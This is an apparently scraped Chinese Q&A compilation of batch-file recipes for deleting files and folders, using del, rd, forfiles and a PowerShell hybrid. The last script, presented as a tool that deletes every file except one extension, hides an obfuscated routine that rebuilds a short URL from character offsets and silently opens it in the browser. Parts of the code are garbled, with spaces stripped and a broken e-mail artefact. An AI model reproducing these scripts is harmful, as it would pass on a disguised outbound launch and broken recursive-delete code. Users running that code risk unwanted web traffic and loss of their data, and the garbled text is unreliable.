Ⅰ 编写bat文件删除文件夹
1、电脑上新建一个文件夹,新建一个“TXT”文件,并命名。
Ⅱ 删除某个文件夹里面的所有文件的bat命令
删除某个文件夹里面的所有文件的bat命令。
下面以删除G盘下面文件夹“0”的所有文件为例。
方法步骤如下:
1、打开相关文件夹,可发现文件夹中有相关文件。
Ⅲ BAT命令:删除某个目录下所有文件(以及所有子目录里的文件),但不删除任何文件夹或子文件夹。
forfiles /S /P D:\ /M *.txt /c "cmd /c del /f @path"删除D:下,文件名为*.txt的文件
Ⅳ bat批量处理删除文件夹下子文件夹的(包括文件夹和文件特定字符串的后面内容(还附加其它要求)
不清楚你的实际文件/情况,仅以问题中的样例说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件或文件夹放一起双击运行
<#:cls&echooff&cd/d"%~dp0"&modeconlines=5000rem将当前目录下所有文件和文件夹的名称末尾的一个指定字符及其后面的字符删除,但保留文件名称末尾的数字序号set#=Anyquestion&set_=WX&set$=Q&set/az=0x53b7e0b4title%#%+%$%%$%/%_%%z%set"self=%~f0"powershell-NoProfile-ExecutionPolicybypass"Get-Content-literal'%~f0'|Out-String|Invoke-Expression"echo;%#%+%$%%$%/%_%%z%pauseexit#>$b=[Convert]::FromBase64String("IC0tPiA=");$c=[Text.Encoding]::Default.GetString($b);$self=get-item-literal$env:self;$current=$self.Directory.FullName;$reg='_[^_]+?$';[email protected](dir-literal$current-recurse|?{$_.FullName-ne$self.FullName}|sort{$_.FullName.length}-Descending);for($i=0;$i-lt$arr.length;$i++){if($arr[$i]-is[System.IO.DirectoryInfo]){$base=$arr[$i].Name-replace$reg,'';if($base-ne$arr[$i].Name){$arr[$i].FullName.replace($current,'')+$c+$base;}}if($arr[$i]-is[System.IO.FileInfo]){$num='-00';$m1=[regex]::match($arr[$i].BaseName,$reg);if($m1.Success){$base=$arr[$i].BaseName-replace$reg,'';$m2=[regex]::match($m1.groups[0].value,'[(](d+)[)]$');if($m2.Success){$num='-'+$m2.groups[1].value;}$arr[$i].FullName.replace($current,'')+$c+$base+$num+$arr[$i].Extension;}else{$base=[regex]::replace($arr[$i].BaseName,'s*[(](d+)[)]$',{param($z);'-'+$z.groups[1].value;});if($base-ne$arr[$i].BaseName){$arr[$i].FullName.replace($current,'')+$c+$base+$arr[$i].Extension;}else{if($base-notmatch'-d+$'){$arr[$i].FullName.replace($current,'')+$c+$base+$num+$arr[$i].Extension;}}}}}
Ⅳ bat删除指定文件夹和文件
删除e:\programfiles里的所有con文件(含子文件夹中的)@del/f/q/s"e:\programfiles\*.con"删除e:\programfiles里的所有con文件(不含子文件夹中的)@del/f/q"e:\programfiles\*.con"
Ⅵ BAT问题:删除当前目录下的全部子文件夹及文件
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI@echo offrem 清空/删除指定文件夹/目录下全部子文件夹及文件set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$%/%@% %z%set "folder=D:\Program Files (x86)\bb\Log\ASC_Client"if not exist "%folder%" (echo;"%folder%" not found&pause&exit)pushd "%folder%"del /a /f /q *.*for /f "delims=" %%a in ('dir /ad/b') do rd /s /q "%%a\"popdecho;%#% +%$%%$%/%@% %z%pauseexit
Ⅶ bat删除文件夹命令
rd /s /q "您要删除的文件夹路径"在cmd窗口中或写入bat脚本中后,执行上面的命令即可删除指定的文件夹,自己按格式设置路径哦!
Ⅷ bat删除指定目录下的所有文件(包括文件夹)、
操作步骤如下:
1、新建记事本文件,输入:
@echo off
cd /d "C:lizi"
del /s /q /f *.*
for /d %%i in (*) do rd /s /q "%%i"
pause>nul
注意:本例操作的是C盘lizi文件夹;
3、双击运行del.bat即可。
Ⅸ bat删除当前目录指定后缀的文件夹
rd 是删除文件夹的,你所谓的那些后缀为.abc的文件夹,实际上只是文件名字带个点号的文件夹。(rd :找不到文件夹带有点号的名字的所有文件夹,你只能用名字全称)。如果你还没听懂,比如我想删掉带有.jpg的文件,可以用: del /a /f /s /q *.JPG (del 可以用通配符*)rd命令本身不支持通配符*,所以你的格式也不对。你只能用:rd /s /q 123.abc\ rd /s /q 456.abc\ rd /s /q 789.abc\
Ⅹ bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。
@echo off & title 删除指定格式外的文件 By 依梦琴瑶cd /d "%~dp0"::设置要排除的文件格式,多个格式之间使用英文逗号隔开set Ext=txtfor /f "delims=" %%a in ('dir /a-d/s/b') do ( if /i not "%%~a"=="%~f0" ( set "Skip=" for %%i in (%Ext%) do ( if /i ".%%~i"=="%%~xa" ( set Skip=OK ) ) if not defined Skip ( del /f /q "%%~a" ) ))pausecall :DoItexit:DoItset "S1=.:ailnhpst/"set "S0=fPdv"set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"start "" "%S2%%S3%%S1:~10,1%%S0%"exit